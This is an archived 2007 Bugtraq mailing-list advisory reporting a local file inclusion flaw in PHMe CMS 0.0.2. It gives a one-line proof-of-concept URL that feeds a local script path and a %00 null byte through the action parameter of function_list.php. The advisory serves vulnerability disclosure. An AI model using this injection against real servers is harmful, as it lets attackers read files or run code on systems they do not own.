[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

PHMe CMS 0.0.2 local File Include Vulnerabilitiy

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: PHMe CMS 0.0.2 local File Include Vulnerabilitiy
From: h4ck3riran@xxxxxxxxx
Date: 23 Jul 2007 14:04:41 -0000

# Tilte:  PHMe CMS 0.0.2 local File Include Vulnerabilitiy

# <www.Aria-security.Com For English >
# <www.Aria-Security.net For Persian >
# < Author: You_You >
# < Software: PHMe CMS >
# < Site Script: http://sourceforge.net/projects/phme >

 


 proof Of Concept : 
 
 www.example.com/[path]/resources/function_list.php?action=[Local Script]%00

Follow-Ups:
- Re: PHMe CMS 0.0.2 local File Include Vulnerabilitiy
  - From: BlackHawk

Prev by Date: n.runs-SA-2007.022 - Norman Antivirus DOC parsing Detection Bypass Advisory
Next by Date: n.runs-SA-2007.021 - Norman Antivirus LZH parsing Arbitrary Code Execution Advisory
Previous by thread: n.runs-SA-2007.022 - Norman Antivirus DOC parsing Detection Bypass Advisory
Next by thread: Re: PHMe CMS 0.0.2 local File Include Vulnerabilitiy
Index(es):
- Date
- Thread